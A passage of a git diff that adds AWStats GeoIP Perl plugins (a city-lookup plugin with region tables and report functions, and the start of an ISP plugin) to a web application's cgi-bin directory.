+"VE_11","Falcon", +"VE_12","Guarico", +"VE_13","Lara", +"VE_14","Merida", +"VE_15","Miranda", +"VE_16","Monagas", +"VE_17","Nueva Esparta", +"VE_18","Portuguesa", +"VE_19","Sucre", +"VE_20","Tachira", +"VE_21","Trujillo", +"VE_22","Yaracuy", +"VE_23","Zulia", +"VE_24","Dependencias Federales", +"VE_25","Distrito Federal", +"VE_26","Vargas", +"VN_02","Bac Thai", +"VN_03","Ben Tre", +"VN_05","Cao Bang", +"VN_11","Ha Bac", +"VN_12","Hai Hung", +"VN_13","Hai Phong", +"VN_22","Lai Chau", +"VN_23","Lam Dong", +"VN_24","Long An", +"VN_29","Quang Nam-Da Nang", +"VN_30","Quang Ninh", +"VN_32","Son La", +"VN_33","Tay Ninh", +"VN_34","Thanh Hoa", +"VN_35","Thai Binh", +"VN_37","Tien Giang", +"VN_39","Lang Son", +"VN_43","An Giang", +"VN_44","Dac Lac", +"VN_45","Dong Nai", +"VN_46","Dong Thap", +"VN_47","Kien Giang", +"VN_48","Minh Hai", +"VN_49","Song Be", +"VN_50","Vinh Phu", +"VN_51","Ha Noi", +"VN_52","Ho Chi Minh", +"VN_53","Ba Ria-Vung Tau", +"VN_54","Binh Dinh", +"VN_55","Binh Thuan", +"VN_56","Can Tho", +"VN_57","Gia Lai", +"VN_58","Ha Giang", +"VN_59","Ha Tay", +"VN_60","Ha Tinh", +"VN_61","Hoa Binh", +"VN_62","Khanh Hoa", +"VN_63","Kon Tum", +"VN_64","Lao Cai", +"VN_65","Nam Ha", +"VN_66","Nghe An", +"VN_67","Ninh Binh", +"VN_68","Ninh Thuan", +"VN_69","Phu Yen", +"VN_70","Quang Binh", +"VN_71","Quang Ngai", +"VN_72","Quang Tri", +"VN_73","Soc Trang", +"VN_74","Thua Thien", +"VN_75","Tra Vinh", +"VN_76","Tuyen Quang", +"VN_77","Vinh Long", +"VN_78","Yen Bai", +"VU_05","Ambrym", +"VU_06","Aoba", +"VU_07","Torba", +"VU_08","Efate", +"VU_09","Epi", +"VU_10","Malakula", +"VU_11","Paama", +"VU_12","Pentecote", +"VU_13","Sanma", +"VU_14","Shepherd", +"VU_15","Tafea", +"VU_16","Malampa", +"VU_17","Penama", +"VU_18","Shefa", +"WS_02","Aiga-i-le-Tai", +"WS_03","Atua", +"WS_04","Fa", +"WS_05","Gaga", +"WS_06","Va", +"WS_07","Gagaifomauga", +"WS_08","Palauli", +"WS_09","Satupa", +"WS_10","Tuamasaga", +"WS_11","Vaisigano", +"YE_01","Abyan", +"YE_03","Al Mahrah", +"YE_04","Hadramawt", +"YE_05","Shabwah", +"YE_08","Al Hudaydah", +"YE_10","Al Mahwit", +"YE_11","Dhamar", +"YE_14","Ma'rib", +"YE_15","Sa", +"YE_16","San", +"YE_20","Al Bayda'", +"YE_21","Al Jawf", +"YE_22","Hajjah", +"YE_23","Ibb", +"YE_24","Lahij", +"YE_25","Ta", +"ZA_02","KwaZulu-Natal", +"ZA_03","Free State", +"ZA_05","Eastern Cape", +"ZA_06","Gauteng", +"ZA_07","Mpumalanga", +"ZA_08","Northern Cape", +"ZA_09","Limpopo", +"ZA_10","North-West", +"ZA_11","Western Cape", +"ZM_01","Western", +"ZM_02","Central", +"ZM_03","Eastern", +"ZM_04","Luapula", +"ZM_05","Northern", +"ZM_06","North-Western", +"ZM_07","Southern", +"ZM_08","Copperbelt", +"ZM_09","Lusaka", +"ZR_01","Bandundu", +"ZR_02","Equateur", +"ZR_03","Kasai-Occidental", +"ZR_04","Kasai-Oriental", +"ZR_05","Katanga", +"ZR_06","Kinshasa", +"ZR_07","Kivu", +"ZR_08","Bas-Congo", +"ZR_09","Orientale", +"ZR_10","Maniema", +"ZR_11","Nord-Kivu", +"ZR_12","Sud-Kivu", +"ZW_01","Manicaland", +"ZW_02","Midlands", +"ZW_03","Mashonaland Central", +"ZW_04","Mashonaland East", +"ZW_05","Mashonaland West", +"ZW_06","Matabeleland North", +"ZW_07","Matabeleland South", +"ZW_08","Masvingo", +"ZW_09","Bulawayo", +"ZW_10","Harare" +); + +# -----> + + +sub RegionName($$) +{ + my $countrycode = shift || ""; + my $regioncode = shift || ""; + + if ($countrycode eq "us") { return $regus{uc $regioncode} || ""; } + if ($countrycode eq "ca") { return $regca{uc $regioncode} || ""; } + + return $regall{uc($countrycode."_".$regioncode)} || ""; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: Init_pluginname +#----------------------------------------------------------------------------- +sub Init_geoip_city_maxmind { + my $InitParams=shift; + my $checkversion=&Check_Plugin_Version($PluginNeedAWStatsVersion); + $MAXNBOFSECTIONGIR=10; + + # <----- + # ENTER HERE CODE TO DO INIT PLUGIN ACTIONS + debug(" Plugin $PluginName: InitParams=$InitParams",1); + my ($mode,$tmpdatafile)=split(/\s+/,$InitParams,2); + my ($datafile,$override)=split(/\+/,$tmpdatafile,2); + if (! $datafile) { $datafile="GeoIPCity.dat"; } + else { $datafile =~ s/%20/ /g; } + if ($type eq 'geoippureperl') { + # With pureperl with always use GEOIP_STANDARD. + # GEOIP_MEMORY_CACHE seems to fail with ActiveState + if ($mode eq '' || $mode eq 'GEOIP_MEMORY_CACHE') { $mode=Geo::IP::PurePerl::GEOIP_STANDARD(); } + else { $mode=Geo::IP::PurePerl::GEOIP_STANDARD(); } + } else { + if ($mode eq '' || $mode eq 'GEOIP_MEMORY_CACHE') { $mode=Geo::IP::GEOIP_MEMORY_CACHE(); } + else { $mode=Geo::IP::GEOIP_STANDARD(); } + } + if ($override){ $override =~ s/%20/ /g; $OverrideFile=$override; } + %TmpDomainLookup=(); + debug(" Plugin $PluginName: GeoIP initialized type=$type mode=$mode override=$override",1); + if ($type eq 'geoippureperl') { + $geoip_city_maxmind = Geo::IP::PurePerl->open($datafile, $mode); + } else { + $geoip_city_maxmind = Geo::IP->open($datafile, $mode); + } + $LoadedOverride=0; +# Fails on some GeoIP version +# debug(" Plugin geoip_city_maxmind: GeoIP initialized database_info=".$geoip_city_maxmind->database_info()); + # -----> + + return ($checkversion?$checkversion:"$PluginHooksFunctions"); +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: AddHTMLMenuLink_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub AddHTMLMenuLink_geoip_city_maxmind { + my $categ=$_[0]; + my $menu=$_[1]; + my $menulink=$_[2]; + my $menutext=$_[3]; + # <----- + if ($Debug) { debug(" Plugin $PluginName: AddHTMLMenuLink"); } + if ($categ eq 'who') { + $menu->{"plugin_$PluginName"}=2.2; # Pos + $menulink->{"plugin_$PluginName"}=2; # Type of link + $menutext->{"plugin_$PluginName"}=$Message[172]; # Text + } + # -----> + return 0; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: AddHTMLGraph_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub AddHTMLGraph_geoip_city_maxmind { + my $categ=$_[0]; + my $menu=$_[1]; + my $menulink=$_[2]; + my $menutext=$_[3]; + # <----- + my $ShowCities='H'; + $MinHit{'Cities'}=1; + my $total_p; my $total_h; my $total_k; + my $rest_p; my $rest_h; my $rest_k; + + if ($Debug) { debug(" Plugin $PluginName: AddHTMLGraph $categ $menu $menulink $menutext"); } + my $title="GeoIP Cities"; + &tab_head($title,19,0,'cities'); + print "<tr bgcolor=\"#$color_TableBGRowTitle\">"; + print "<th>".$Message[148]."</th>"; + print "<th>".$Message[171]."</th>"; + print "<th>".$Message[172].": ".((scalar keys %_city_h)-($_city_h{'unknown'}?1:0))."</th>"; + if ($ShowCities =~ /P/i) { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>"; } + if ($ShowCities =~ /P/i) { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>"; } + if ($ShowCities =~ /H/i) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; } + if ($ShowCities =~ /H/i) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>"; } + if ($ShowCities =~ /B/i) { print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; } + if ($ShowCities =~ /L/i) { print "<th width=\"120\">$Message[9]</th>"; } + print "</tr>\n"; + $total_p=$total_h=$total_k=0; + my $count=0; + &BuildKeyList($MaxRowsInHTMLOutput,$MinHit{'Cities'},\%_city_h,\%_city_h); + # Group by country +# my @countrylist=('ca','us'); +# foreach my $country (@countrylist) { +# print "<tr>"; +# print "<td class=\"aws\"><b>".$countrylib{$country}."</b></td>"; +# if ($ShowCities =~ /P/i) { print "<td> </td>"; } +# if ($ShowCities =~ /P/i) { print "<td> </td>"; } +# if ($ShowCities =~ /H/i) { print "<td> </td>"; } +# if ($ShowCities =~ /H/i) { print "<td> </td>"; } +# if ($ShowCities =~ /B/i) { print "<td> </td>"; } +# if ($ShowCities =~ /L/i) { print "<td> </td>"; } +# print "</tr>\n"; + foreach my $key (@keylist) { + if ($key eq 'unknown') { next; } + my ($countrycode,$city,$regioncode)=split('_',$key,3); + $city=~s/%20/ /g; +# if ($countrycode ne $country) { next; } + my $p_p; my $p_h; + if ($TotalPages) { $p_p=int(($_city_p{$key}||0)/$TotalPages*1000)/10; } + if ($TotalHits) { $p_h=int($_city_h{$key}/$TotalHits*1000)/10; } + print "<tr>"; + print "<td class=\"aws\">".$DomainsHashIDLib{$countrycode}."</td>"; + my $regionlib=RegionName($countrycode, $regioncode); + print "<td class=\"aws\">".($regionlib?$regionlib:' ')."</td>"; + print "<td class=\"aws\">".ucfirst(EncodeToPageCode($city))."</td>"; + if ($ShowCities =~ /P/i) { print "<td>".($_city_p{$key}?Format_Number($_city_p{$key}):" ")."</td>"; } + if ($ShowCities =~ /P/i) { print "<td>".($_city_p{$key}?"$p_p %":' ')."</td>"; } + if ($ShowCities =~ /H/i) { print "<td>".($_city_h{$key}?Format_Number($_city_h{$key}):" ")."</td>"; } + if ($ShowCities =~ /H/i) { print "<td>".($_city_h{$key}?"$p_h %":' ')."</td>"; } + if ($ShowCities =~ /B/i) { print "<td>".Format_Bytes($_city_k{$key})."</td>"; } + if ($ShowCities =~ /L/i) { print "<td>".($_city_p{$key}?Format_Date($_city_l{$key},1):'-')."</td>"; } + print "</tr>\n"; + $total_p += $_city_p{$key}||0; + $total_h += $_city_h{$key}; + $total_k += $_city_k{$key}||0; + $count++; + } +# } + if ($Debug) { debug("Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h",2); } + $rest_p=0; + $rest_h=$TotalHits-$total_h; + $rest_k=0; + if ($rest_p > 0 || $rest_h > 0 || $rest_k > 0) { # All other cities +# print "<tr>"; +# print "<td class=\"aws\"> </td>"; +# if ($ShowCities =~ /P/i) { print "<td> </td>"; } +# if ($ShowCities =~ /P/i) { print "<td> </td>"; } +# if ($ShowCities =~ /H/i) { print "<td> </td>"; } +# if ($ShowCities =~ /H/i) { print "<td> </td>"; } +# if ($ShowCities =~ /B/i) { print "<td> </td>"; } +# if ($ShowCities =~ /L/i) { print "<td> </td>"; } +# print "</tr>\n"; + + my $p_p; my $p_h; + if ($TotalPages) { $p_p=int($rest_p/$TotalPages*1000)/10; } + if ($TotalHits) { $p_h=int($rest_h/$TotalHits*1000)/10; } + print "<tr>"; + print "<td class=\"aws\" colspan=\"3\"><span style=\"color: #$color_other\">$Message[2]/$Message[0]</span></td>"; + if ($ShowCities =~ /P/i) { print "<td>".($rest_p?$rest_p:" ")."</td>"; } + if ($ShowCities =~ /P/i) { print "<td>".($rest_p?"$p_p %":' ')."</td>"; } + if ($ShowCities =~ /H/i) { print "<td>".($rest_h?$rest_h:" ")."</td>"; } + if ($ShowCities =~ /H/i) { print "<td>".($rest_h?"$p_h %":' ')."</td>"; } + if ($ShowCities =~ /B/i) { print "<td>".Format_Bytes($rest_k)."</td>"; } + if ($ShowCities =~ /L/i) { print "<td> </td>"; } + print "</tr>\n"; + } + &tab_end(); + + # -----> + return 0; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: GetCountryCodeByAddr_pluginname +# UNIQUE: YES (Only one plugin using this function can be loaded) +# GetCountryCodeByAddr is called to translate an ip into a country code in lower case. +#----------------------------------------------------------------------------- +# Rem: not used +sub GetCountryCodeByAddr_geoip_city_maxmind { + my $param="$_[0]"; + # <----- + my $res = TmpLookup_geoip_city_maxmind($param); + if ($type eq 'geoippureperl') { + if (! $res) { + my @record = (); + @record=$geoip_city_maxmind->get_city_record($param) if $geoip_city_maxmind; + my $country; + $country=$record[0] if @record; + $res=lc($country) || 'unknown'; + $TmpDomainLookup{$param}=$res; + if ($Debug) { debug(" Plugin $PluginName: GetCountryCodeByAddr for $param: [$res]",5); } + } + elsif ($Debug) { debug(" Plugin $PluginName: GetCountryCodeByAddr for $param: Already resolved to [$res]",5); } + } + else + { + if (! $res) { + my $record=(); + $record=$geoip_city_maxmind->record_by_addr($param) if $geoip_city_maxmind; + my $country; + $country=$record->country if $record; + $res=lc($country) || 'unknown'; + $TmpDomainLookup{$param}=$res; + if ($Debug) { debug(" Plugin $PluginName: GetCountryCodeByAddr for $param: [$res]",5); } + } + elsif ($Debug) { debug(" Plugin $PluginName: GetCountryCodeByAddr for $param: Already resolved to [$res]",5); } + } + # -----> + return $res; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: GetCountryCodeByName_pluginname +# UNIQUE: YES (Only one plugin using this function can be loaded) +# GetCountryCodeByName is called to translate a host name into a country code in lower case. +#----------------------------------------------------------------------------- +# Rem: not used +sub GetCountryCodeByName_geoip_city_maxmind { + my $param="$_[0]"; + # <----- + my $res = TmpLookup_geoip_city_maxmind($param); + if ($type eq 'geoippureperl') { + if (! $res) { + my @record = (); + @record=$geoip_city_maxmind->get_city_record($param) if $geoip_city_maxmind; + my $country; + $country=$record[0] if @record; + $res=lc($country) || 'unknown'; + $TmpDomainLookup{$param}=$res; + if ($Debug) { debug(" Plugin $PluginName: GetCountryCodeByName for $param: [$res]",5); } + } + elsif ($Debug) { debug(" Plugin $PluginName: GetCountryCodeByName for $param: Already resolved to [$res]",5); } + } + else + { + if (! $res) { + my $record=(); + $record=$geoip_city_maxmind->record_by_name($param) if $geoip_city_maxmind; + my $country; + $country=$record->country if $record; + $res=lc($country) || 'unknown'; + $TmpDomainLookup{$param}=$res; + if ($Debug) { debug(" Plugin $PluginName: GetCountryCodeByName for $param: [$res]",5); } + } + elsif ($Debug) { debug(" Plugin $PluginName: GetCountryCodeByName for $param: Already resolved to [$res]",5); } + } + # -----> + return $res; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: ShowInfoHost_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +# Function called to add additionnal columns to the Hosts report. +# This function is called when building rows of the report (One call for each +# row). So it allows you to add a column in report, for example with code : +# print "<TD>This is a new cell for $param</TD>"; +# Parameters: Host name or ip +#----------------------------------------------------------------------------- +sub ShowInfoHost_geoip_city_maxmind { + my $param="$_[0]"; + # <----- + if ($param eq '__title__') + { + my $NewLinkParams=${QueryString}; + $NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i; + $NewLinkParams =~ s/(^|&|&)output(=\w*|$)//i; + $NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i; + $NewLinkParams =~ s/(^|&|&)framename=[^&]*//i; + my $NewLinkTarget=''; + if ($DetailedReportsOnNewWindows) { $NewLinkTarget=" target=\"awstatsbis\""; } + if (($FrameName eq 'mainleft' || $FrameName eq 'mainright') && $DetailedReportsOnNewWindows < 2) { + $NewLinkParams.="&framename=mainright"; + $NewLinkTarget=" target=\"mainright\""; + } + $NewLinkParams =~ s/(&|&)+/&/i; + $NewLinkParams =~ s/^&//; $NewLinkParams =~ s/&$//; + if ($NewLinkParams) { $NewLinkParams="${NewLinkParams}&"; } + +# print "<th width=\"80\">"; +# print "<a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=plugin_geoip_city_maxmind&suboutput=country"):"$PROG$StaticLinks.plugin_geoip_city_maxmind.country.$StaticExt")."\"$NewLinkTarget>GeoIP<br/>Country</a>"; +# print "</th>"; + print "<th width=\"80\">"; + print "<a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=plugin_$PluginName"):"$StaticLinks.plugin_$PluginName.$StaticExt")."\"$NewLinkTarget>GeoIP<br/>City</a>"; + print "</th>"; + } + elsif ($param) + { + # try loading our override file if we haven't yet + my $ip=0; + my $key; + if ($param =~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/) { # IPv4 address + $ip=4; + $key=$param; + } + elsif ($param =~ /^[0-9A-F]*:/i) { # IPv6 address + $ip=6; + $key=$param; + } + if ($key && $ip==4) { + my $country; + my $city; + my @res = TmpLookup_geoip_city_maxmind($param); + if (@res){ + $country = $res[0]; + $city = $res[4]; + } + elsif ($type eq 'geoippureperl') + { + my @record = (); + @record=$geoip_city_maxmind->get_city_record($param) if $geoip_city_maxmind; + if ($Debug) { debug(" Plugin $PluginName: GetCityByIp for $param: [@record]",5); } + $country=$record[0] if @record; + $city=$record[4] if @record; + } + else + { + my $record=(); + $record=$geoip_city_maxmind->record_by_addr($param) if $geoip_city_maxmind; + if ($Debug) { debug(" Plugin $PluginName: GetCityByIp for $param: [$record]",5); } + $country=$record->country_code if $record; + $city=$record->city if $record; + } +# print "<td>"; +# if ($country) { print $DomainsHashIDLib{$country}?$DomainsHashIDLib{$country}:"<span style=\"color: #$color_other\">$Message[0]</span>"; } +# else { print "<span style=\"color: #$color_other\">$Message[0]</span>"; } +# print "</td>"; + print "<td>"; + if ($city) { print EncodeToPageCode($city); } + else { print "<span style=\"color: #$color_other\">$Message[0]</span>"; } + print "</td>"; + } + if ($key && $ip==6) { + debug (" Plugin $PluginName: IPv6 not supported by GeoIP: $key"); + print "<td>"; + print "<span style=\"color: #$color_other\">$Message[0]</span>"; + print "</td>"; + } + if (! $key) { + my $country; + my $city; + my @res = TmpLookup_geoip_city_maxmind($param); + if (@res){ + $country = $res[0]; + $city = $res[4]; + } + elsif ($type eq 'geoippureperl') + { + my @record = (); + @record=$geoip_city_maxmind->get_city_record($param) if $geoip_city_maxmind; + if ($Debug) { debug(" Plugin $PluginName: GetCityByHostname for $param: [@record]",5); } + $country=$record[0] if @record; + $city=$record[4] if @record; + } + else + { + my $record=(); + $record=$geoip_city_maxmind->record_by_name($param) if $geoip_city_maxmind; + if ($Debug) { debug(" Plugin $PluginName: GetCityByHostname for $param: [$record]",5); } + $country=$record->country_code if $record; + $city=$record->city if $record; + } +# print "<td>"; +# if ($country) { print $DomainsHashIDLib{$country}?$DomainsHashIDLib{$country}:"<span style=\"color: #$color_other\">$Message[0]</span>"; } +# else { print "<span style=\"color: #$color_other\">$Message[0]</span>"; } +# print "</td>"; + print "<td>"; + if ($city) { print EncodeToPageCode($city); } + else { print "<span style=\"color: #$color_other\">$Message[0]</span>"; } + print "</td>"; + } + } + else + { print "<td> </td>"; } + return 1; + # -----> +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: SectionInitHashArray_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub SectionInitHashArray_geoip_city_maxmind { +# my $param="$_[0]"; + # <----- + if ($Debug) { debug(" Plugin $PluginName: Init_HashArray"); } + %_city_p = %_city_h = %_city_k = %_city_l =(); + # -----> + return 0; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: SectionProcessIP_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub SectionProcessIp_geoip_city_maxmind { + my $param="$_[0]"; # Param must be an IP + # <----- + if ($type eq 'geoippureperl') { + my @record = TmpLookup_geoip_city_maxmind($param); + if (!@record){ + @record=$geoip_city_maxmind->get_city_record($param) if $geoip_city_maxmind; + } + if ($Debug) { debug(" Plugin $PluginName: GetCityByName for $param: [@record]",5); } + if (@record) { + my $city=$record[4]; + if ($city) { + my $countrycity=$record[0].'_'.$city; + $countrycity=~s/ /%20/g; + if ($record[3]) { $countrycity.='_'.$record[3]; } + $_city_h{lc($countrycity)}++; + } else { + $_city_h{'unknown'}++; + } + } else { + $_city_h{'unknown'}++; + } + } + else + { + my $record=(); + my @rec = TmpLookup_geoip_city_maxmind($param); + if (@rec){ + $record->city = $rec[4]; + $record->region = $rec[0]; + $record->country_code = $rec[3]; + }else{ + $record=$geoip_city_maxmind->record_by_addr($param) if $geoip_city_maxmind; + } + if ($Debug) { debug(" Plugin $PluginName: GetCityByIp for $param: [$record]",5); } + if ($record) { + # if ($PageBool) { $_city_p{$city}++; } + if ($city) { + my $countrycity=$record->country_code.'_'.$record->city; + $countrycity=~s/ /%20/g; + if ($region) { $countrycity.='_'.$record->region; } + $_city_h{lc($countrycity)}++; + } else { + $_city_h{'unknown'}++; + } + # if ($timerecord > $_city_l{$city}) { $_city_l{$city}=$timerecord; } + } else { + $_city_h{'unknown'}++; + } + } + # -----> + return; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: SectionProcessHostname_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub SectionProcessHostname_geoip_city_maxmind { + my $param="$_[0]"; # Param must be an IP + if ($type eq 'geoippureperl') { + my @record = TmpLookup_geoip_city_maxmind($param); + if (!@record){ + @record=$geoip_city_maxmind->get_city_record($param) if $geoip_city_maxmind; + } + if ($Debug) { debug(" Plugin $PluginName: GetCityByName for $param: [@record]",5); } + if (@record) { + my $city=$record[4]; + if ($city) { + my $countrycity=$record[0].'_'.$city; + $countrycity=~s/ /%20/g; + if ($record[3]) { $countrycity.='_'.$record[3]; } + $_city_h{lc($countrycity)}++; + } else { + $_city_h{'unknown'}++; + } + } else { + $_city_h{'unknown'}++; + } + } + else + { + my $record=(); + my @rec = TmpLookup_geoip_city_maxmind($param); + if (@rec){ + $record->city = $rec[4]; + $record->region = $rec[3]; + $record->country_code = $rec[0]; + }else{ + $record=$geoip_city_maxmind->record_by_name($param) if $geoip_city_maxmind; + } + if ($Debug) { debug(" Plugin $PluginName: GetCityByName for $param: [$record]",5); } + if ($record) { + my $city=$record->city; + # if ($PageBool) { $_city_p{$city}++; } + if ($city) { + my $countrycity=($record->country_code).'_'.$city; + $countrycity=~s/ /%20/g; + if ($record->region) { $countrycity.='_'.$record->region; } + $_city_h{lc($countrycity)}++; + } else { + $_city_h{'unknown'}++; + } + # if ($timerecord > $_city_l{$city}) { $_city_l{$city}=$timerecord; } + } else { + $_city_h{'unknown'}++; + } + } + # -----> + return; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: SectionReadHistory_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub SectionReadHistory_geoip_city_maxmind { + my $issectiontoload=shift; + my $xmlold=shift; + my $xmleb=shift; + my $countlines=shift; + # <----- + if ($Debug) { debug(" Plugin $PluginName: Begin of PLUGIN_geoip_city_maxmind section"); } + my @field=(); + my $count=0;my $countloaded=0; + do { + if ($field[0]) { + $count++; + if ($issectiontoload) { + $countloaded++; + if ($field[2]) { $_city_h{$field[0]}+=$field[2]; } + } + } + $_=<HISTORY>; + chomp $_; s/\r//; + @field=split(/\s+/,($xmlold?XMLDecodeFromHisto($_):$_)); + $countlines++; + } + until ($field[0] eq "END_PLUGIN_$PluginName" || $field[0] eq "${xmleb}END_PLUGIN_$PluginName" || ! $_); + if ($field[0] ne "END_PLUGIN_$PluginName" && $field[0] ne "${xmleb}END_PLUGIN_$PluginName") { error("History file is corrupted (End of section PLUGIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); } + if ($Debug) { debug(" Plugin $PluginName: End of PLUGIN_$PluginName section ($count entries, $countloaded loaded)"); } + # -----> + return 0; +} + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: SectionWriteHistory_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub SectionWriteHistory_geoip_city_maxmind { + my ($xml,$xmlbb,$xmlbs,$xmlbe,$xmlrb,$xmlrs,$xmlre,$xmleb,$xmlee)=(shift,shift,shift,shift,shift,shift,shift,shift,shift); + if ($Debug) { debug(" Plugin $PluginName: SectionWriteHistory_$PluginName start - ".(scalar keys %_city_h)); } + # <----- + print HISTORYTMP "\n"; + if ($xml) { print HISTORYTMP "<section id='plugin_$PluginName'><sortfor>$MAXNBOFSECTIONGIR</sortfor><comment>\n"; } + print HISTORYTMP "# Plugin key - Pages - Hits - Bandwidth - Last access\n"; + #print HISTORYTMP "# The $MaxNbOfExtra[$extranum] first number of hits are first\n"; + $ValueInFile{"plugin_$PluginName"}=tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_PLUGIN_$PluginName${xmlbs}".(scalar keys %_city_h)."${xmlbe}\n"; + &BuildKeyList($MAXNBOFSECTIONGIR,1,\%_city_h,\%_city_h); + my %keysinkeylist=(); + foreach (@keylist) { + $keysinkeylist{$_}=1; + #my $page=$_city_p{$_}||0; + #my $bytes=$_city_k{$_}||0; + #my $lastaccess=$_city_l{$_}||''; + print HISTORYTMP "${xmlrb}".XMLEncodeForHisto($_)."${xmlrs}0${xmlrs}", $_city_h{$_}, "${xmlrs}0${xmlrs}0${xmlre}\n"; next; + } + foreach (keys %_city_h) { + if ($keysinkeylist{$_}) { next; } + #my $page=$_city_p{$_}||0; + #my $bytes=$_city_k{$_}||0; + #my $lastaccess=$_city_l{$_}||''; + print HISTORYTMP "${xmlrb}".XMLEncodeForHisto($_)."${xmlrs}0${xmlrs}", $_city_h{$_}, "${xmlrs}0${xmlrs}0${xmlre}\n"; next; + } + print HISTORYTMP "${xmleb}END_PLUGIN_$PluginName${xmlee}\n"; + # -----> + return 0; +} + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: LoadOverrideFile +# Attempts to load a comma delimited file that will override the GeoIP database +# Useful for Intranet records +# CSV format: IP,2-char Country code, region, city, postal code, latitude, +# longitude, US metro code, US area code +#----------------------------------------------------------------------------- +sub LoadOverrideFile_geoip_city_maxmind{ + my $filetoload=""; + if ($OverrideFile){ + if (!open(GEOIPFILE, $OverrideFile)){ + debug("Plugin $PluginName: Unable to open override file: $OverrideFile"); + $LoadedOverride = 1; + return; + } + }else{ + my $conf = (exists(&Get_Config_Name) ? Get_Config_Name() : $SiteConfig); + if ($conf && open(GEOIPFILE,"$DirData/$PluginName.$conf.txt")) { $filetoload="$DirData/$PluginName.$conf.txt"; } + elsif (open(GEOIPFILE,"$DirData/$PluginName.txt")) { $filetoload="$DirData/$PluginName.txt"; } + else { debug("No override file \"$DirData/$PluginName.txt\": $!"); } + } + if ($filetoload) + { + # This is the fastest way to load with regexp that I know + while (<GEOIPFILE>){ + chomp $_; + s/\r//; + my @record = split(",", $_); + # replace quotes if they were used in the file + foreach (@record){ $_ =~ s/"//g; } + # now we need to copy our file values in the order to mimic the lookup values + my @res = (); + $res[0] = $record[1]; + $res[3] = $record[2]; + $res[4] = $record[3]; + $res[5] = $record[4]; + $res[6] = $record[5]; + $res[7] = $record[6]; + $res[8] = $record[7]; + $res[9] = $record[8]; + # store in hash + $TmpDomainLookup{$record[0]} = [@res]; + } + close GEOIPFILE; + debug(" Plugin $PluginName: Overload file loaded: ".(scalar keys %TmpDomainLookup)." entries found."); + } + $LoadedOverride = 1; + return; +} + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: TmpLookup +# Searches the temporary hash for the parameter value and returns the corresponding +# GEOIP entry +#----------------------------------------------------------------------------- +sub TmpLookup_geoip_city_maxmind(){ + $param = shift; + if (!$LoadedOverride){&LoadOverrideFile_geoip_city_maxmind();} +# my @val = (); +# if ($geoip_city_maxmind && +# (($type eq 'geoip' && $geoip_city_maxmind->VERSION >= 1.30) || +# $type eq 'geoippureperl' && $geoip_city_maxmind->VERSION >= 1.17)){ +# @val = @{$TmpDomainLookup{$geoip_city_maxmind->get_ip_address($param)}}; +# } +# else {@val = @{$TmpDomainLookup{$param};}} +# return @val; + if ($TmpDomainLookup{$param}) { return @{$TmpDomainLookup{$param};} } + else { return; } +} + + +1; # Do not remove this line diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/geoip_isp_maxmind.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/geoip_isp_maxmind.pm new file mode 100644 index 0000000..bf1df25 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/geoip_isp_maxmind.pm @@ -0,0 +1,508 @@ +#!/usr/bin/perl +#----------------------------------------------------------------------------- +# GeoIp_Isp_Maxmind AWStats plugin +# This plugin allow you to add a city report. +# Need the licensed ISP database from Maxmind. +#----------------------------------------------------------------------------- +# Perl Required Modules: Geo::IP or Geo::IP::PurePerl +#----------------------------------------------------------------------------- +# $Revision: 1.18 $ - $Author: eldy $ - $Date: 2010/08/04 12:38:02 $ + + +# <----- +# ENTER HERE THE USE COMMAND FOR ALL REQUIRED PERL MODULES +use vars qw/ $type /; +$type='geoip'; +if (!eval ('require "Geo/IP.pm";')) { + $error1=$@; + $type='geoippureperl'; + if (!eval ('require "Geo/IP/PurePerl.pm";')) { + $error2=$@; + $ret=($error1||$error2)?"Error:\n$error1$error2":""; + $ret.="Error: Need Perl module Geo::IP or Geo::IP::PurePerl"; + return $ret; + } +} +# -----> +#use strict; +no strict "refs"; + + + +#----------------------------------------------------------------------------- +# PLUGIN VARIABLES +#----------------------------------------------------------------------------- +# <----- +# ENTER HERE THE 